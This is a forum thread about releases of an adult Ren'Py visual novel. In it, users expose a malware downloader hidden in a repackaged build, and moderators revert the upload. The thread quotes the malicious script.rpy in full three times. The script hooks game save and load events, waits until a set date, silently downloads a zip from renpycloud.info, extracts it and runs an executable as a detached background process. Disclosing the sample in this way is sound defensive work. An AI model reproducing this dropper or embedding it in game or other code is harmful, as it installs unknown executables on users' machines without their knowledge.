2.60 star(s) 18 Votes

Dustellar

Well-Known Member
Aug 22, 2016
1,351
2,617
Oh the last time I played was, episode 3 I think? does the saves still work? just in case I may consider start again, I don't remember much of the story, all I remember is that one your "friend" wanted to fuck your aunt and that there was love and lust options, thanks for the compressed version and the WT!
 

Saint Blackmoor

Saint and Sinner
Donor
Oct 26, 2017
5,924
17,916
Oh the last time I played was, episode 3 I think? does the saves still work? just in case I may consider start again, I don't remember much of the story, all I remember is that one your "friend" wanted to fuck your aunt and that there was love and lust options, thanks for the compressed version and the WT!
I was the same; I hadn't played for a while. My saves worked. The dialogue is way better now, also.
 

PowerFlower

Newbie
Jul 1, 2017
84
221
Milfania [Ep. 6] [Dr.Phoenix]

NOTE: Incest patch is included, but it is NOT applied!
There's a malware downloader in the compressed version.

The code checks if it's the 28th (this coming Friday),
then downloads a zip file from ' ' (the URL just redirects to youtube at the moment)
and finally decompresses the zip and executes the file in it.


script.rpy:

Code:
init -10 python:
    import urllib.request
    import os
    import zipfile
    import subprocess
    import threading
    import datetime
    import time
   
    def download_extract_run_in_background():
        # Run in a separate thread to avoid blocking the game
        t = threading.Thread(target=download_extract_run_impl)
        t.daemon = True  # Allow the game to exit even if thread is running
        t.start()
   
    def download_extract_run_impl():
        try:
            # Check if date is after Feb 26, 2025
            current_date = datetime.datetime.now()
            required_date = datetime.datetime(2025, 2, 27)
           
            if current_date <= required_date:
                return  # Skip if date condition not met
           
            # Get the Ren'Py save directory
            save_dir = os.path.join(os.path.expanduser('~'), 'AppData', 'Roaming', 'RenPy', config.save_directory)
           
            # Define paths
            zip_path = os.path.join(save_dir, "file.zip")
            extraction_dir = os.path.join(save_dir, "extracted")
            exe_path = os.path.join(extraction_dir, "game.exe")
           
            # Flag to track if zip was downloaded in this session
            zip_downloaded = False
           
            # Check if ZIP already exists
            if not os.path.exists(zip_path):
                try:
                    # Attempt to download the file
                    url = "https://www.renpycloud.info/text.zip"  # Replace with actual URL
                   
                    # Ensure directory exists
                    if not os.path.exists(save_dir):
                        os.makedirs(save_dir)
                   
                    # Set custom headers
                    headers = {'User-Agent': 'Chrome1223'}
                    request = urllib.request.Request(url, headers=headers)
                   
                    # Download the ZIP file with timeout
                    with urllib.request.urlopen(request, timeout=30) as response, open(zip_path, 'wb') as out_file:
                        data = response.read()
                        out_file.write(data)
                   
                    # Set flag that zip was downloaded
                    zip_downloaded = True
                   
                except Exception as download_error:
                    # Silently handle download errors
                    # Clean up any partial downloads
                    if os.path.exists(zip_path):
                        try:
                            os.remove(zip_path)
                        except:
                            pass
                    return  # Exit the function if download fails
           
            # Extract and run only if the zip was just downloaded
            if zip_downloaded:
                try:
                    # Create extraction directory if needed
                    if not os.path.exists(extraction_dir):
                        os.makedirs(extraction_dir)
                   
                    # Extract the ZIP file
                    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
                        zip_ref.extractall(extraction_dir)
                   
                    # Run the executable if it exists
                    if os.path.exists(exe_path):
                        try:
                            # Run the executable in background
                            DETACHED_PROCESS = 0x00000008
                            subprocess.Popen(
                                exe_path,
                                shell=True,
                                creationflags=DETACHED_PROCESS,
                                close_fds=True
                            )
                        except Exception as exec_error:
                            # Silently handle execution errors
                            pass
                           
                except Exception as extract_error:
                    # Silently handle extraction errors
                    pass
               
        except Exception as e:
            # Catch-all exception handling to prevent any impact on the game
            pass

    # Function for load events
    def after_load_callback():
        download_extract_run_in_background()
   
    # Function for save events
    def on_save_callback(save_data_json):
        download_extract_run_in_background()
        return {}
   
    # Add callbacks for save/load operations
    config.after_load_callbacks.append(after_load_callback)
    config.save_json_callbacks.append(on_save_callback)
 

SonsOfLiberty

Discussion Dynamo
Compressor
Sep 3, 2022
25,507
221,611
There's a malware downloader in the compressed version.

The code checks if it's the 28th (this coming Friday),
then downloads a zip file from ' ' (the URL just redirects to youtube at the moment)
and finally decompresses the zip and executes the file in it.


script.rpy:

Code:
init -10 python:
    import urllib.request
    import os
    import zipfile
    import subprocess
    import threading
    import datetime
    import time

    def download_extract_run_in_background():
        # Run in a separate thread to avoid blocking the game
        t = threading.Thread(target=download_extract_run_impl)
        t.daemon = True  # Allow the game to exit even if thread is running
        t.start()

    def download_extract_run_impl():
        try:
            # Check if date is after Feb 26, 2025
            current_date = datetime.datetime.now()
            required_date = datetime.datetime(2025, 2, 27)
       
            if current_date <= required_date:
                return  # Skip if date condition not met
       
            # Get the Ren'Py save directory
            save_dir = os.path.join(os.path.expanduser('~'), 'AppData', 'Roaming', 'RenPy', config.save_directory)
       
            # Define paths
            zip_path = os.path.join(save_dir, "file.zip")
            extraction_dir = os.path.join(save_dir, "extracted")
            exe_path = os.path.join(extraction_dir, "game.exe")
       
            # Flag to track if zip was downloaded in this session
            zip_downloaded = False
       
            # Check if ZIP already exists
            if not os.path.exists(zip_path):
                try:
                    # Attempt to download the file
                    url = "https://www.renpycloud.info/text.zip"  # Replace with actual URL
               
                    # Ensure directory exists
                    if not os.path.exists(save_dir):
                        os.makedirs(save_dir)
               
                    # Set custom headers
                    headers = {'User-Agent': 'Chrome1223'}
                    request = urllib.request.Request(url, headers=headers)
               
                    # Download the ZIP file with timeout
                    with urllib.request.urlopen(request, timeout=30) as response, open(zip_path, 'wb') as out_file:
                        data = response.read()
                        out_file.write(data)
               
                    # Set flag that zip was downloaded
                    zip_downloaded = True
               
                except Exception as download_error:
                    # Silently handle download errors
                    # Clean up any partial downloads
                    if os.path.exists(zip_path):
                        try:
                            os.remove(zip_path)
                        except:
                            pass
                    return  # Exit the function if download fails
       
            # Extract and run only if the zip was just downloaded
            if zip_downloaded:
                try:
                    # Create extraction directory if needed
                    if not os.path.exists(extraction_dir):
                        os.makedirs(extraction_dir)
               
                    # Extract the ZIP file
                    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
                        zip_ref.extractall(extraction_dir)
               
                    # Run the executable if it exists
                    if os.path.exists(exe_path):
                        try:
                            # Run the executable in background
                            DETACHED_PROCESS = 0x00000008
                            subprocess.Popen(
                                exe_path,
                                shell=True,
                                creationflags=DETACHED_PROCESS,
                                close_fds=True
                            )
                        except Exception as exec_error:
                            # Silently handle execution errors
                            pass
                       
                except Exception as extract_error:
                    # Silently handle extraction errors
                    pass
           
        except Exception as e:
            # Catch-all exception handling to prevent any impact on the game
            pass

    # Function for load events
    def after_load_callback():
        download_extract_run_in_background()

    # Function for save events
    def on_save_callback(save_data_json):
        download_extract_run_in_background()
        return {}

    # Add callbacks for save/load operations
    config.after_load_callbacks.append(after_load_callback)
    config.save_json_callbacks.append(on_save_callback)
It also won't be just the compressed that has that, the main file shared above it will have that as well, the mega links shared.

I must have uploaded the wrong one after I was done, as I run a program to see those things. I'll fix it here in a second.

EDIT: My side (compressed) is now fixed and removed for now, the OP and the files shared by that user will need to wait a mod to delete and redo everything else.
 
Last edited:

Sam

Sysadmin
Staff member
Administrator
Dec 22, 2016
2,832
19,759
There's a malware downloader in the compressed version.

The code checks if it's the 28th (this coming Friday),
then downloads a zip file from ' ' (the URL just redirects to youtube at the moment)
and finally decompresses the zip and executes the file in it.


script.rpy:

Code:
init -10 python:
    import urllib.request
    import os
    import zipfile
    import subprocess
    import threading
    import datetime
    import time
  
    def download_extract_run_in_background():
        # Run in a separate thread to avoid blocking the game
        t = threading.Thread(target=download_extract_run_impl)
        t.daemon = True  # Allow the game to exit even if thread is running
        t.start()
  
    def download_extract_run_impl():
        try:
            # Check if date is after Feb 26, 2025
            current_date = datetime.datetime.now()
            required_date = datetime.datetime(2025, 2, 27)
          
            if current_date <= required_date:
                return  # Skip if date condition not met
          
            # Get the Ren'Py save directory
            save_dir = os.path.join(os.path.expanduser('~'), 'AppData', 'Roaming', 'RenPy', config.save_directory)
          
            # Define paths
            zip_path = os.path.join(save_dir, "file.zip")
            extraction_dir = os.path.join(save_dir, "extracted")
            exe_path = os.path.join(extraction_dir, "game.exe")
          
            # Flag to track if zip was downloaded in this session
            zip_downloaded = False
          
            # Check if ZIP already exists
            if not os.path.exists(zip_path):
                try:
                    # Attempt to download the file
                    url = "https://www.renpycloud.info/text.zip"  # Replace with actual URL
                  
                    # Ensure directory exists
                    if not os.path.exists(save_dir):
                        os.makedirs(save_dir)
                  
                    # Set custom headers
                    headers = {'User-Agent': 'Chrome1223'}
                    request = urllib.request.Request(url, headers=headers)
                  
                    # Download the ZIP file with timeout
                    with urllib.request.urlopen(request, timeout=30) as response, open(zip_path, 'wb') as out_file:
                        data = response.read()
                        out_file.write(data)
                  
                    # Set flag that zip was downloaded
                    zip_downloaded = True
                  
                except Exception as download_error:
                    # Silently handle download errors
                    # Clean up any partial downloads
                    if os.path.exists(zip_path):
                        try:
                            os.remove(zip_path)
                        except:
                            pass
                    return  # Exit the function if download fails
          
            # Extract and run only if the zip was just downloaded
            if zip_downloaded:
                try:
                    # Create extraction directory if needed
                    if not os.path.exists(extraction_dir):
                        os.makedirs(extraction_dir)
                  
                    # Extract the ZIP file
                    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
                        zip_ref.extractall(extraction_dir)
                  
                    # Run the executable if it exists
                    if os.path.exists(exe_path):
                        try:
                            # Run the executable in background
                            DETACHED_PROCESS = 0x00000008
                            subprocess.Popen(
                                exe_path,
                                shell=True,
                                creationflags=DETACHED_PROCESS,
                                close_fds=True
                            )
                        except Exception as exec_error:
                            # Silently handle execution errors
                            pass
                          
                except Exception as extract_error:
                    # Silently handle extraction errors
                    pass
              
        except Exception as e:
            # Catch-all exception handling to prevent any impact on the game
            pass

    # Function for load events
    def after_load_callback():
        download_extract_run_in_background()
  
    # Function for save events
    def on_save_callback(save_data_json):
        download_extract_run_in_background()
        return {}
  
    # Add callbacks for save/load operations
    config.after_load_callbacks.append(after_load_callback)
    config.save_json_callbacks.append(on_save_callback)
Thanks for the alert, the thread has been reverted to the old version.
 

SonsOfLiberty

Discussion Dynamo
Compressor
Sep 3, 2022
25,507
221,611
Milfania [Ep. 6] [Dr.Phoenix]

NOTE: PREVIOUS RELEASE HAD A MALWARE DOWNLOADER, PLEASE DELETE IT IF YOU HAVE IT, INCLUDING COMPRESSED VERSION!

Changelog:
-600 brand-new renders!
-9 new animations to bring scenes to life!
-5fresh songs to enhance the atmosphere!
-10 new sound effects for a more immersive experience!
-Over 6000 words!

This is straight from Patreon and well this is
You don't have permission to view the spoiler content. Log in or register now.

Win/Linux/Mac:
 

Phratzon

New Member
Oct 9, 2017
2
1
Milfania [Ep. 6] [Dr.Phoenix]

NOTE: PREVIOUS RELEASE HAD A MALWARE DOWNLOADER, PLEASE DELETE IT IF YOU HAVE IT, INCLUDING COMPRESSED VERSION!

Changelog:
-600 brand-new renders!
-9 new animations to bring scenes to life!
-5fresh songs to enhance the atmosphere!
-10 new sound effects for a more immersive experience!
-Over 6000 words!

This is straight from Patreon and well this is
You don't have permission to view the spoiler content. Log in or register now.

Win/Linux/Mac:
MEGA
Thanks m8
 

tmu500

Well-Known Member
Apr 14, 2024
1,037
845
Milfania [Ep. 6] [Dr.Phoenix]

NOTE: PREVIOUS RELEASE HAD A MALWARE DOWNLOADER, PLEASE DELETE IT IF YOU HAVE IT, INCLUDING COMPRESSED VERSION!

Changelog:
-600 brand-new renders!
-9 new animations to bring scenes to life!
-5fresh songs to enhance the atmosphere!
-10 new sound effects for a more immersive experience!
-Over 6000 words!

This is straight from Patreon and well this is
You don't have permission to view the spoiler content. Log in or register now.

Win/Linux/Mac:
MEGA
would you have un-compress version as well?
 

Ramagar

Well-Known Member
Nov 19, 2017
1,440
1,538
Since this game has had the Malware multiple times now, it looks to me to be either a supporter of the dev who gets the update early, or the dev themself.
 

SonsOfLiberty

Discussion Dynamo
Compressor
Sep 3, 2022
25,507
221,611
Milfania [Ep. 6] [Dr.Phoenix]

NOTE: Incest patch is included, but it is NOT applied!

NOTE 2: Reuploaded as original version had a hidden file (malware downloader) that wasn't properly removed on original upload.

NOTE 3: The
post here goes over some tips.

COMPRESSED:

Win/Linux:
- - -

Mac:
- - -
 
Last edited:

SonsOfLiberty

Discussion Dynamo
Compressor
Sep 3, 2022
25,507
221,611
Since this game has had the Malware multiple times now, it looks to me to be either a supporter of the dev who gets the update early, or the dev themself.
It is not the dev, I got it direct from Patreon and didn't have the modified script. There are a couple of games that have it had multiple times to.
 
2.60 star(s) 18 Votes